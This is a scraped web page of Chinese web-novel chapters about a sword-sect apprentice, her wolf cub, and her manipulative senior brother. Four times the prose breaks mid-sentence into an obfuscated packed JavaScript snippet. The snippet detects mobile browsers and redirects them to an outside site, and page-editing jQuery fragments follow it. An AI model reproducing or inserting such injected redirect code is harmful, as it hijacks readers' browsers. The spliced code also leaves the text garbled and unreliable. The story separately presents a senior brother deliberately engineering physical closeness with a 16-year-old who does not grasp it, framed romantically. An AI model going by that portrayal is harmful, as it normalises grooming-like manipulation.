玉流欲哭无泪,冷着脸将小狼关了半天的禁闭才放出来。在她义正言辞地说了一通后,小狼耷拉着脑袋呜呜嗯嗯地认了错,玉流这才决心放过它,留着它在几乎住不了的屋内继续瞎闹,自己去练剑了。 宋繁声归山在即,她得赶紧了。 这样明目张胆的忽视让小狼倍感不平衡。只能说玉流还不会养孩子,忘了打了个巴掌还要给颗甜枣的道理,不然孩子会逆反,小狼也是。 趁着李长庚去菜地浇水施肥,小狼敏捷地跳出窗子,明目张胆地溜进了李长庚的书房。 天塌得就是这么的猝不及防。 因为眼皮一直跳而感觉不妙,特地回来看看的玉流这才惊觉好心收留的小狼是要她死。 ——这头小恶狼从桌下叼出来一方破烂的帕子,喜滋滋地放到她的手里。 玉流的脸色很难看。 她捏着一角,上面都是小狼的口水,但口水已经是其次了,她真的很难说清这是原来就破的,还是被狼咬破的。 事到如今,玉流只有一个念头:完蛋了! 果不其然,“玉流——!” 玉流被抓个正着,慌忙藏起了帕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546562|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子:“师、师父,早?” “早?早个头!” 李长庚站在门口,头发都要竖起来了。玉流长这么大,第一次对怒发冲冠有了具象化。 李长庚在训了一个时辰的话后,玉流和小狼都得到了惩罚,小狼禁止进入任何有墙的地方,玉流负责看着,不然同小狼一个下场。 玉流只能带它在山里撒野。 她拿着帕子,坐在石头上发呆,她打算洗一洗,然后原封不动地偷偷放回去。师父不问,徒弟不说,师父若问,徒弟惊讶,反正就当不知道! 她才打定主意,就听见身后一阵的刨土声。 “祖宗,你能不能安分一会儿,”玉流扭头看清它在做什么,整个人都要跳起来了,“别动这棵杏树,师父种的啊,面壁思过还不够吗?不要装可怜,你又不用,面壁思过的是我!小狼,小狼!唉?你挖出什么来了?” 几尺深的土坑里,一个圆铜盒被小狼叼了出来。它抬起爪子,把铜盒推到她手边,巴巴地看着。 玉流怎会不知它的意思:“不要撺掇我,别人的东西不能随便动。听着,虽然我把你当狗养,但你要有自尊,刨土是你该做的事吗!” “我放回去,你我就当——”玉流才端起来,啪嗒一声,她低头,盒子裂成了两截。 或许,有些时候就是天命不可违。 放在土下的素笺早已发黄发湿,大半狂放的行草糊出墨影,玉流只能依稀辨认出这是师父的字迹。 本着不想再闯祸的态度,玉流主动找到了李长庚:“这个……” 她想说得委婉一些,不知怎的就想到了那堆书信中反复出现的几个字眼:“师父,呆呆是谁?” “你说……什么?”经年久远的称呼重现眼前,李长庚像是穿过漫长的岁月,从中年又回到了青年。 玉流连盒带信带土交给李长庚,卑微道歉:“师父,盒子裂了,我不是有意的。” 李长庚已经听不见玉流的话了。 旧物承旧情,旧情不可忆,时隔多年再看见这些,李长庚笑了:“呆呆,呆呆啊……是为师过去收留的一匹马驹,后来马驹长大了,变成野马跑走了。” 李长庚的眉眼中显露出少见的柔情:“为师当年太气愤了,写了一些蠢话,后来不知道去哪了,原来埋在这里了。” 师父您还真是多愁善感,玉流顺坡下滑:“那我们,算是物归原主?” “是,”李长庚看起来心情不错,抱着盒子低身揉了揉小狼,又拍了拍玉流,“回去吧,下不为例。” 这日夜里,玉流闻到了烧焦的味道。 来不及叫醒床下的小狼,玉流抓起外裳披上,奔着屋外跑去。 小小的木堆燃起幽红的火苗,她的师父抱着一坛酒,坐在火前。看见她出来,饶有兴致地同她招呼:“阿玉啊,快来,快来。” 李长庚也就喝醉了的时候有些慈父的模样。玉流捡起根木棍,就着火焰翻了翻,在一叠未烧完的残页上,她认出这是小狼刨出来的那盒旧信。 “师父,”玉流问,“为什么要烧了,我以为您很高兴。” “是高兴,可是最初的那点高兴过去,为师又觉得寂寞,”李长庚拿起坛子猛地灌下一口酒,未入口的酒液四流,他没去管,仰头望着月明星稀的夜幕,眼眶微湿,“都过去二十多年了,捡回来做什么,徒增烦恼罢了,住山不记年,看云即是仙……” “师父,”玉流蹲下来,忧虑地看着他,“您确定您现在不是喝醉了的一时兴起吗?” “怎么会呢,这是杏子酒,不醉人的,不信你尝尝,”李长庚捡起地上被火映红的陶碗,倒出坛中仅剩的丁点酒渣,“阿玉啊,来一口吗?” 54. 人和狼 玉流没喝,扬手把酒渣倒进火堆中,火焰伏低,忽而哗地猛蹿。 干硬的树皮炸开,一地星火转印入眼中,李长庚的脸被火光照得发烫,抬手揉了一把玉流乱糟糟的头发,温声道:“回去睡吧,为师会把火熄灭的。” “您……”玉流张嘴无声,她发觉自己压根不知道要说些什么,师父在为旧事伤怀,她不该多问,“那……那我走了。” 她回屋,小狼已经醒了,看见人回来后肢发力跳起,玉流在它扑上来前一掌盖在他的嘴筒子上:“下去。” 小狼听不懂,一脸傻样可劲蹭,嘴巴蹭完蹭脸蛋,脸蛋蹭完蹭耳朵。 玉流抓下黏到脸上的狼毛:“下去,我要睡了。” “嗷呜。”小狼识趣地松开爪子,轻车熟路地跳到床上,吐着舌头钻进被子。 玉流冷笑,揪住它的耳朵毫不犹豫地丢回地上:“我今晚不熬夜,所以你胆敢上来,我立马就把你扔出去。” 小狼听懂了玉流堪称凶恶的语气,不敢再造次,呜呜低吼着,乖顺地趴在床脚。 次日,鸡鸣未响,晨露未晞,宋繁声披着还未消散的风月归来,一人一剑,颇有江湖游侠的风姿,只是这分潇洒没能维持太久。 经过玉流的小屋时,还未走近,便被从敞开的窗子里跳出的小兽拦住了去路。 小狼炸毛龇牙,爪子磨着地面,朝他哈气。 宋繁声打量这头小狼,身形和毛发看起来不过两三岁,不足以威胁到他。只是,他皱眉,万丈峰什么时候有狼了? 他低眸,并未退后,也未拔剑,等到屋里响起细细碎碎的声响,挑起了眉梢:“师妹?” 玉流从窗口探出头,淡白的天光落在发丝上,清晨的尘埃无处遁形,罩起浅浅的轮廓。没睡醒人有点散漫,笑得嚣张又肆意:“早,师兄。” 玉流养狼,对于宋繁声而言,是一件相当不可思议的事情。拿以前来说,玉流要是在山里看见伤残的野兔野鹿,只会当作看不见,或者送它们上路。 宋繁声想去问师父是否知晓其中的缘由,可李长庚在闭门谢客。他宿醉酒未醒,耳边都是嗡鸣,抱着枕头不肯起来:“就当为师病了,不要为难老人家!” 老顽固变成了老顽童,宋繁声知道此时的李长庚毫无作用,依言退出去,掩门关怀:“那您好好休息。” 照此情景,问人不如求己。 宋繁声在屋后的泥坑里找到了打滚的小狼,把从东厨顺来的豚骨放在地上,以此为界,他问:“小狼弟弟,能不能教教我,你是怎么让她留下你的吗?” 这是宋繁声过了五日后的第三次请教。 同前两次一样,小狼瞥了他一眼,扭身用狼尾巴对着他,非常有原则地无视。 宋繁声不慌不忙,拿出一块豚肉:“这样呢?” 小狼继续玩自己的泥巴。 宋繁声又拿出两块:“中午加餐怎么样?” 实不相瞒,从宋繁声拿出豚肉起,小狼的眼珠子就挤在了眼角处,鼻头抖着,腮帮子收缩着,口水更是滴滴欲坠。 小狼呼呼喘了几口,傲娇地转过屁股,小爪子勾起红肉,闻闻嗅嗅,勉为其难地收下了。 拿人手短,吃人嘴短,略通人性的小狼也懂这种虚伪的道理。 当然,这并不表示它就会喜欢他。 小狼嚼吧嚼吧吃完了,心满意足地舔了一会儿肚皮上的灰毛,傲气地站起来,甩甩身子,脑袋一扭,它只演一次,示意他看好。 玉流正在削木剑,一堆的木花片扬起来,冒出一个狼脑袋不由分说地磨蹭。 玉流:“走开。” 小狼闻言极其委屈地看着她,爪子搭在她的鞋面上。 “……”玉流忍着没直接一脚踹飞,弯腰提起小狼,转手丢到草垛上,“说了走开。” 小狼趴在草堆上,耳朵耷下,垂头丧气可怜兮兮,呜呜的像是在低泣。 小狼要哭不哭的样子让玉流自觉过分了点,拂开身伤的木花和泥巴,蹲下招手,放柔了声音:“过来,等等,让你过来不是让你蹭过来,你再沾我一身泥巴,今晚就在外头睡,说了,别蹭,别……” 藏在树后的宋繁声静静看着,吃瘪的玉流让他身心都不禁轻颤起来。 原来如此,他笑着,悟出了点门道来。 师妹,我好像发现了一个秘密。 正午过后,宋繁声和李长庚说了声:“师父,我下山一趟。” 赖床才起来的李长庚忙着喂鸡:“知道了知道了。” 两刻钟后,崇州城内一处不起眼的巷子中,周遭杀意如云雾浮游,宋繁声站在路中央,仰头搜寻无处可查的那人:“朱雀,我不是来杀你的。” 不久前,朱雀提着个四方的食盒走在大街上,走了一会儿觉察有人跟踪,这才主动走进了死路中。看见是宋繁声,她还有些惊讶,她记得她和这位不过点头交,不明白他跟着她有何目的。 “有事?”她从屋檐一跃而下,问道。 “有。” 圆脸杀手说话直白:“直说就行,我没上过学,听不懂文绉绉的话。” 宋繁声失笑:“怪不得玉流和你关系好。” 他缓了缓,道:“我想请你帮个忙,这三天帮我拖住谢遥知,不要让他入山,之后我会把银榜榜首的生意给你。” 朱雀看死人一样的目光有了点波动,从宋繁声的脸上移到他身后的群山中,过了一会儿,她说:“一言为定。” 朱雀从逍遥阁出来,手里的食盒变成了几个香囊,她回了四方境,将香囊里的银票上交后,回屋收拾起了东西。 “你这是要出门?你不是才回来?” “不是,谢遥知有病又吵,绑了关个几天算了。” “啥?” 朱雀挑了重点回:“宋繁声,玉流,谢遥知,我帮忙,就这样。” 美其名曰回来看徒弟,实则回来找镜主要钱的前任朱雀吐出嘴里的瓜子皮:“我滴个乖乖,不得了不得了,我们小鸟居然给人家当爱情镖师了喂。” 朱雀停下手里的活儿,少见的疑惑浮现:“什么?” 另一头,宋繁声自认为玉流不会这么快又发现他下山的踪迹,显然,他还是低估了她。 玉流坐在路口的巨石上,寒着脸:“你最近很忙吗,山下有什么,值得你来回跑?” “我是想去找你,但你的狼不让。” “原来它不喜欢你,”玉流像是才知道这件事,托着下巴,“哎呀,那可怎么办呀。” 宋繁声配合她的挖苦:“现在哎呀会不会太迟了?” “不迟呀,它不喜欢你,那就喜欢别人呗。” “看来师妹挺喜欢它的。” “不喜欢我留下做什么。” 宋繁声坐到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555749|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉流身边:“既然留下了,不给它取名字吗?” “不要,它迟早要走的,我何必用名字束缚住它。” 宋繁声作为旁观者,看得很清:“是山里的日子太无趣了吗?” 一说到这个,玉流就来气:“你能下山出远门,你当然不会这么觉得。” 宋繁声揉她的脸:“是师妹赢不了师兄,不是师兄的错。” “不过……”宋繁声敛眉,有些懊悔,“我回来才知道慕容鸠把你排到剑榜上了。” 过了几个月的事情再被提及,玉流不大高兴:“我不该上榜吗,我只是打不过你,而已。” “杀人的时候,有伤到吗?” “师兄,我用的是木剑。”玉流在木剑二字上,特意加了重音。 “我知道。” “那你问个屁。” “伸手。” “干什么?” “收好。” 玉流的手心赫然多了一柄精巧的匕首。 “万丈峰很少有外人来,但总有些不怕死的蠢货。那几个亡命徒是个提醒,师父还不打算把剑给你,万一再有人闯入,你要有个趁手的武器,”宋繁声解释,“半月前我托人去崇州城里订造了这个,这几日下山是去让工匠做了一些调整。如今一柄匕首,再加上一头狼作伴,嗯……” “你在‘嗯……’什么?” “我在忧虑,”身后狼视灼灼,环伺而行,看来他们的交情只限于食肉的那会儿,其余的时时刻刻,小狼都很防备他。宋繁声倾身挡住狼的身影,伸手敲在玉流的额头上,调笑道,“我怕有一天你的狼能把师兄咬死。” 玉流拍掉宋繁声的手,摸着额头坏心思地朝他眨眼:“说不定呢,师兄,最近夜里睡觉的时候记得留个心眼。” “对了,你这么空要不要去找桃农问问,你的桃树好像有点毛病。”匕首在手中转了转,不重不轻,挺称手的,玉流拔出刀鞘,指腹轻轻划过刀口,留下一抹很浅的皮伤。 很漂亮的刀锋,宋繁声的眼光向来不错。 “这才几年,还小,”宋繁声似乎是在回答她,又似乎在回答自己,“师妹,要有耐心,迟早会看见结果的。” 玉流好意提醒:“师兄,不要做无用功,间歇性检验,及时止损。” “哦,”宋繁声细细琢磨,“师妹听起来很有见地,是从哪儿学会的这个道理,不会是——” “不是,”玉流嘴硬,“我不是在说自己。” 玉流抓起他的手:“好了,陪我比。” 狭窄的山道上,山中的草木泥石早就习惯了这样纠缠不清的两道身影。 虽说输与赢是她的首位,于他从来无关紧要,但他不会让,玉流也不需要他让。 咔嚓——玉流被宋繁声折断了第三百一十八柄木剑。她丢开断剑,面无表情地躺在地上。 宋繁声没像往常一般坐在她身侧,而是弯身撑在她上方。 几拳的距离,长剑抵地,他拂起玉流缭乱的头发,欣赏着一张不服又无可奈何的脸庞,惋惜道:“比上一次长进了点,但还是——” 玉流的耳边骤然传来呼啸的风。余光中,一道灰黑的影子快如闪电朝他们,不,是朝宋繁声扑来。 ……眼前的一切像是被光影拉长,宋繁声的话戛然而止,须臾间,咸腥便萦绕在玉流鼻尖。 “师兄——!” 55. 不方便 狂躁的小狼没能等来玉流的夸赞。在看见她起身,拿出匕首站在宋繁声身前,警惕又恐惧地望着自己的刹那,急促耸动的狼嘴猝然松落。 “呜呜呜……”蓄势待发的捕猎者变成了不可置信的防御者。 相持于这样荒唐中,玉流才恍然发觉,她捡来的狼,已经很长大了许多。 小狼小狼叫久了,意识也凝固了,忘了它早已不再是只会蹭蹭撒娇的小狼,而是一口就能咬住猎物致死的凶兽了。 小狼不死心,举着爪子试图上前,玉流下意识退后的一幕深深刺痛了它的心,失望与失落席卷,呼呼的喘气后,小狼纵身跃入山林。 宋繁声看着,捂着腰腹坐起。黏腻温热的血团在掌中,呼出的气息微乱,血盆狼口,利齿没入肌肤的那刻犹在眼前,他该庆幸这不是一头大狼。 “不用这样对它,兽不是人,咳咳……或许它只是以为,我在伤你。” 他伏在玉流身上,长剑插入土中,从狼看来,错位的视角,就是他在伤她。 小狼只是护主心切。 “那你怎么不躲开,”这种话激起了玉流的怒意,“天下第一的剑客被一头才几岁的狼咬伤,说出去简直要让人笑话!” 宋繁声没有反驳,这个时候也不适合反驳。好在玉流的气愤没有胜过理智,她不再纠结于这些没有意义的争辩,扶起宋繁声,送他回到他住的木屋。 一个不久住的人,屋子也素得很,扫过一览无遗的陈设,玉流几乎没有犹豫,径直蹲下翻箱倒柜,口中念念有词。 宋繁声听出她在道歉。 “是我没有戒心,它亲近我便以为会亲近所有人。” “狼始终是狼,有兽性有野性。从它忽然学会猎杀野兔的时候我就该发现的,藏得再好,天性难移。” 宋繁声忍着伤俯身,合住她乱得毫无章法的双手:“师妹,听我说,冷静些不用慌,没伤到骨头,皮肉破了而已,所以……不必为我难过。” 他只能说难过,因为玉流不会哭。从小打到大,两人受过的伤不计其数,最严重的一次,她因为没有站稳而摔入悬崖,胳膊被峰石划破,皮开肉绽,露出森森白骨。 他抱着疼得快昏厥的人低声道歉,而她却只是仰起冷汗涔涔的脸无所谓地笑笑,拉起他的胳膊狠狠咬下一口:“师兄,这样你也就有伤了。” “不是,不是,”玉流扯开他的手否认,可她又该如何说出口,言不由衷的歉意是为了压下心中另一道蛊惑人心的阴影,“我在……” 玉流咬紧牙,放慢语速,不想让宋繁声猜出自己对他可怖的占有之欲:“我没有难过。” “你这里没有有用的,”玉流捡起角落的木盆匆匆为他打来一盆水,离开前丢下一句话,“我去找师父问问有没有金疮药,你自己先看着办。” 她急着逃离,木盆重重地搁置在凳上,扑出团团水花。宋繁声擦去溅在眼角的清水,身前不稳的凳脚让水面轻晃,层层叠叠不休止的波纹仿如玉流摇动的心,更似他绸缪的愁绪。 此时他已有足够的把握,他于她而言,是要紧的。 这个认知让他心安,更让他不舍。 ——师妹,不必心烦意乱,有没有一种可能,我已经发现了你的一些秘密。而你,并未发现我的。 比如说,宋繁声是一个恩将仇报的人。 玉流其实说对了,他不该躲不过的,他只是没有。 他自然是看见了靠近的小狼,更是提前洞悉了它的意图。在陪她伊始,指骨摸上剑柄之时,他想了很多。 小狼的存在是个隐患,他能看出来的东西,旁人也能,尤其是那只死狐狸。至于玉流,她现在心思不深,但养久了也一定能发觉自己在心软。 他不能让这样的事发生。 还有,他忧心这头狼的来历。它的到来若是巧合最好,若是人为,那就说明有人终究还是忍不住了。 他并不想让玉流受伤。 心思单纯的小狼不喜欢他很正常。是他利用它,引导它,又故意分散她的注意,这才造成了这样难堪的局面,是他躲在阴暗面藏着本性,却还要出现在她身边又争又抢。 宋繁声讥讽厌恶如此卑劣的自己,又甘心以命饲养不能见光的病症。人心,总是贪得无厌的。 宋繁声自解,拨乱水面映出的那张虚伪面孔,解衣查看伤势。 指尖点在伤处,再差一点,就要咬到肋骨了。 喉头滚动,宋繁声失语凝噎,这头狼,咬得还真是不掺一点水分,这么深,极有可能要留疤了,他用手指丈量着尺寸,要想复原这层皮,以后有的忙了…… 宋繁声闭目浅眠等着玉流。 门前投下一道很轻的脚步,脚步声停下,又变成一道长长的注视。他睁眼,调侃道:“师妹是开始装哑巴了吗?” “不是。”玉流拉开门,屋里的血腥淡了不少,地上的水盆中晕染分层的血水。 他已经自行处理过了。 玉流低眉,她能想到在不久前,宋繁声平静地撕开与皮肉粘连的衣裳,两个窟窿还在渗血,两道血流沿着腰线往下,滋润细小狭长的擦伤。 他在山中,伤却非出自于她之手。 “我来送药。” “放桌上,我等会儿自己来。” “不用我帮你吗?” “不用。” “你自己方便吗?” “小伤而已。” 宋繁声连贯的见招拆招让玉流很不满:“师兄,我只是想看看你的伤。” 这次宋繁声没有立即回绝。 他坐在桌边,隔着几步之遥安静地望着她,似乎能望见方才玉流失神地站在门口。她并不适应这样的自己,所以显得僵硬而无措。 腰侧还在隐痛,疼痛让他皱眉,不会让他改变计划。他再次拒绝道:“不方便。” 玉流不假思索地追问:“怎么不方便,有什么是我不能看的吗?” 她怎么能看呢,宋繁声捂着脸轻笑出声。 给她看的话势必要脱衣半裸,他并不想让她对自己的身体有任何的记忆。 虽然她大抵也不会有。 宋繁声心中发愁,十六了,怎么还对男女之事毫无介怀? 他拢好外袍,走到玉流跟前,手臂撑起,将她圈在墙边。 狭窄的角落中,自宋繁声身上弥漫开的草木清香仍旧压不住一身的血气。 玉流仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566501|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看他:“你在做什么?” 宋繁声不答,捧起玉流的脸。 一方如死水静寂,一方如暗潮汹涌。她不解又疑惑,迟迟找不到他想要的名为羞涩的情绪。 宋繁声哑然失笑,也许,病人也该主动问药了,不是吗? 因失血而偏白的手捧起她的脸,宋繁声低头靠近,抵着她冷湿的额头,在交错的气息中,感受她洒落在下颌的点点热意。 时不时的贴近都是他有意为之,自小没有亲人陪伴与教导,玉流未能领会这不似寻常师兄妹间的紧密。 他将尺度把控得很好,不算太过分,不会让她觉得冒犯。他只需要她在这样的接近中慢慢接受,她不记得没有关系,身体记得就行。 “我真的没事,只是小伤。你若非要看也不是不行,只是……你觉得你能看到什么?” 宋繁声在玉流面前,并非如世人口中所言那般的清正端方。 明明是正常得不能再正常的交谈,却在他克制又温柔的声线中,沾染上调情的意味,莫名有些勾人。 玉流不自觉地吞咽:“什、什么?” 宋繁声牵上她的手,放在衣襟处:“师妹,让你看的话,我要脱衣。” 玉流直勾勾地盯着他的胸口:“那又如何?” “男女之间,脱衣相待你知道意味着什么吗?” 随着这句话说出来,轰的一声,玉流那个不解风情的脑子终于转了过来,不由分说地撤回自己的手掌。 玉流靠在墙面上,羞是其次,怒是首位:“你是在怕我对你做什么吗,怕我玷污了你这位有名的榜上佳婿?” “你……”宋繁声眸中溢出惊愕,“你怎么……怎么会这么想啊……” 他真是被她的迟钝打败了,长叹一声,扶着伤了的腰无奈地将人轻轻搂住。 所以这样的直白还不能听懂吗?自己谋划的未来,道阻且长啊。 真是拿你没辙了,师妹。 “我怎么会是这个意思呢,我知道我的师妹不是这样的人。”未能说出口的话止于舌尖,你不是,而我是,我害怕我自己,谁知道在你面前解开这层虚伪的皮面之后,我会不会在不经意间暴露点什么。 “废话,我当然不是。”玉流挽尊的声音有点发软。 太近的,太久了,他之前从没抱得这么久过,相碰的皮肤似乎热了起来,升起病态的红晕。双手直直地挂在腰侧,整个人也直挺挺的,僵得不行,飘忽的眼神慌不择路,却根本不知道要往何处看。 宋繁声的屋子和他的人一样,淡得维持木质的本色。在脱离不得的臂弯中,也许从跨进门槛起,她便囚于挺俊的树中。 “能放开我了没?” “腰疼,再等等。” 他这样说,玉流不敢轻易推开他。她是元凶之一,自有愧意,犹豫着穿过他的伤处,抱上他的臂膀。 宋繁声洇湿小半的鬓角下,玉流的脸颊擦过他白玉坠点墨似的耳尖:“师父说了,会好的。” “嗯,所以不必自责,我不会怪你,也不必多想,本就不是你的错。你知道的,我不会死在别人的手里,”他在安慰悄然不安的她,“去看看你的小狼吧,它应该比我伤得更重。” 56. 照镜子 李长庚在书房书柜后的窄缝里找到了抱膝蹲坐的玉流,揭开那面无形的伞帽,他道:“不要在这里装蘑菇。” 被发现的玉流不敢说话,哆哆嗦嗦地站起来,背后抖落一地的白尘。 事实上,她只是在偷偷放回帕子而已。 这几天李长庚防她跟防贼一样,始终找不到合适的机会把这块破烂的帕子送回来,她都快忘了这件事,也就刚才收拾屋里小狼留下的东西时,想起来还有这茬。 李长庚将玉流无言的烦乱尽收眼底,拍拍她的背,拿下她身上从墙上黏出的蛛丝:“小狼送走了?” 玉流点头:“嗯,送走了。” 几刻钟前,她在山里走到黄昏,在山谷的桃树下发现了满身伤痕的小狼。 小狼也看见了她,先是欣喜,而后畏怯,举着爪子举步不前。 玉流看出它的窘迫,屈膝半蹲,像往常一般朝它招呼。 孩子心性的小狼就是这么好哄,转眼就雀跃地跳起,不过它没跑来,而是从树后叼出一簇簇的山野花与野果子。 它学着玉流给李长庚道歉的样子,想要她收下。 玉流没有去拿。 小狼焦急地来回踱步,张着嘴想要叼着她去收了那些,却又怕自己的牙会伤了她。于是它自作主张,将这些一堆一堆地推过来,“嗷呜”,以后会成为山中主的小狼卑微又讨好朝她露出肚皮。 以往这个时候,玉流会顺势挠它一会儿。 今日今时,她不想这样了,甚至有些想骂自己:玉流你还真是罪孽深重,把好好的狼养成了狗。 玉流推开这些歉礼,万分认真:“虽然不知道你为什么会出现,或许你是被赶走,或许是你主动离开,这段时间谢谢你在,现在,你该走了。和人呆在一起,你也会寂寞的,去找你真正的家人吧,不要再回来了。” 小狼站起来,懵懂地同她对视,爪子已经缩起,想拿肉掌去勾她。 玉流躲开了:“我知道你听得懂,你很聪明,所以不要逼我,与其让我狠心赶走你,不如好好道别。回你自己的家吧,有仇报仇,有恩报恩,而不是同我长久相伴。因为有一天,我会抛弃你的。” 赶走小狼后,玉流在树下站了很久。 被日光烧热的风吹起一阵一阵的叶浪,像月夜下的潮汐起伏,她停留在潮汐中央,举目四望,天海倒置,墨绿的浪花铺天盖地地落下。 她并没有设想中的那般平静。 人总会在许多偶然的意外中得到一点顿悟,她在它离开的前夕,想清了当时自己为什么会留下它。 她把自己当成了小狼。 或者说,“我想起了我自己”——迷于荒原又充满野心,想遇到善良的引路人。 她能入师门,是因为宋繁声。 彼时她已经快要十岁,给自己换了一个名字,只身一人徒步千里,叩响万丈峰的山门。 李长庚见了她,让她满怀希望之后迎接失望的降临。她有不凡的剑骨,但已错过了习剑的最好年纪。 “玉流是吗,”李长庚站在她面前再三询问,“你一个女儿家,为什么要学剑呢,真的跟我学剑吗?” 虽未明说,她听出来,他并不是很想收她。 她沉默了,心中却已有答案:报仇。 怨恨如夏日恼人的蝉鸣浅薄,未闻其声,已知其意。她到底还是个孩子,年幼无知,藏不住太多的心事,更瞒不过走南闯北大半生的李长庚。 她也懂得这样的道理。 在她想坦白的前一刻,很漂亮的少年走出来,用帕子小心地擦去她在赶路途中糊脏的脸,温柔笑着,牵起她的手说:“师父不想教了,就换我来教,师妹,你说这样行吗?” 他没有问李长庚,而是在问她。 过去多年,玉流仍能记得那时,少年宋繁声包裹住她掌心的温厚。 世间的蝉,不知雪亡于一夏,她不是。她这只离群索居的乡野孤蝉,走出了司空见惯万年不改的风雪,踏入四季的轮转。 她就这样成了他的师妹,成了尊者的徒弟。 李长庚豆腐心肠,并没有真的不管她,反而将师父欺负徒弟的糟粕发扬光大。 什么叫要想离山入世必须得赢过师兄?这竟然还是条不成文的百年门规。 她没有算错的话,天下第一剑存世也不过几年而已! 可惜,她的反抗无用,以至于她永远低宋繁声一头,以至于她不得不在宋繁声回山之际缠着他,离山之时念着他。 她没能发现,她的下山之路就此变了味。 她只知道要把自己拆成一片一片,收好她那些要遏抑的欲望,竭尽所有用纯粹的一面见他,却总是别别扭扭。 而继续留下小狼,让她觉得每日都像在照镜子,提醒她自己是个多么自私自利的人。 她不想让宋繁声知道,在遇见小狼的瞬间,她不可抗拒地回想到了十年前,如果她是宋繁声,她能做到留下它,仅仅限于留下。 宋繁声能陪她十年,她陪不了小狼。 她的师兄,是个好人。 她不是。 十年来,输给宋繁声的一次又一次,她恨师兄的分毫不让,更恨自己钝才的无能。曾几何时,她的脑中也闪过杀了他的念头,想过若是自己赢了会如何,是会像他一样收手,还是毫不犹豫地击杀下去? 小狼下一刻的一跃而起,不是宋繁声的一语成谶,更像是所谓的心有灵犀。她养的狼,读懂了她的恶欲。 她惊骇于有那么一瞬间,她真的在想宋繁声就此死掉会怎样,而后她幡然清醒,她因他而受困深山,那么能伤他杀他的只能是她。手段过程不重要,但必须是她。 宋繁声也不会知道。 玉流同着另一个自己自怨自艾,在李长庚看来,变成了无声的愧疚。 李长庚安慰她:“没必要自责,没人能预见意外。” “师父,”玉流不愿多做解释,顺着他的思路抱怨,“他那么厉害,他自己本该躲过去的。他要是躲过去,也不会变成现在这样。” “唉,你师兄又不是什么神仙,人嘛,总有出错的时候,”李长庚给她出主意,“放心不下就再去看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李长庚挠着睡得劈叉的头发,心虚道:“说不定阿玉只是半夜起来解手,路过树下坐着歇息呢?” “师父,”宋繁声拉着他走到玉流身前,“您当着她的面再说一遍。” 李长庚认罪,他闻到酒味了,可他想不通:“不对啊,我酿的酒我有数,鸡都醉不了,何况是人。难道……啊!坏了!” 李长庚往地窖跑去,在角落里找到了那张掉落的红纸签:“怪不得阿玉说不苦,原来是我拿错酒了。” 跟着一起来的宋繁声心头浮起不好的预感:“师父,什么叫拿错了酒?” 李长庚干笑:“你也知道我那堆酒有几月的,几年的,还有十几年的,照道理来说,她一个小姑娘,我给她解闷喝的自然是几月的,但是吧,有时候人呐,就是会犯糊涂……” “您不必再说废话,”宋繁声脸都黑了,“您给她的是哪一种?” 57. 鬼知道 “三……” “三年的?” “三……三十年的。” “……”宋繁声握紧拳头,咬牙在忍,“师、父——!” 李长庚汗流不止,扭着脸讪笑掩饰:“哎呀阿繁,这不能怪我啊,这坛酒是那个假半仙下棋输给我的,说埋了几十年,所以我肯定是分开放的。喏喏喏,你看我还特意贴了红纸,就是上次喝酒的时候顺手移开给弄掉了,这才有了这一遭。” 上次?居然还有上次!宋繁声报以冷笑,现在追究已经没有用了。他推开碍眼又不靠谱的李长庚,转身对上玉流迷散的眼睛,瞬间变脸,柔声道:“师妹,和我回去,好不好?” 玉流撅着嘴,也不说话,眯着眼睛定定地看着他,看了好久,似乎认出了他是谁,嘿嘿笑了笑,缓缓打出一个酒嗝:“……不。” 酒气扑面,宋繁声闭眼忍了忍,他还有耐心,纵着醉酒使小性子的人:“为什么不呢?” 月色凉淡,黑夜的山风摇摆细碎的树影,上了头的玉流坐在树下,脸颊的醉嫣红散开,好似抹上了一层不匀的胭脂。 她指向枝头,小声道:“嘘,上面两只翠鸟在洞房花烛呢,叫得可好听了。” 寂寞的夜里,宋繁声仰头,听见了在离他几尺高的古树枝桠间萦绕的小调,如靡靡之音缠绵悱恻,实打实地勾人心弦。 “来,”不知听了多久,面露羞涩的玉流拍拍石板凳,示意他坐在给他留的位置上,“师兄,我们一起听呀。” “不行,”宋繁声的耐心告罄,忍无可忍,“好了,你给我回去睡觉。” 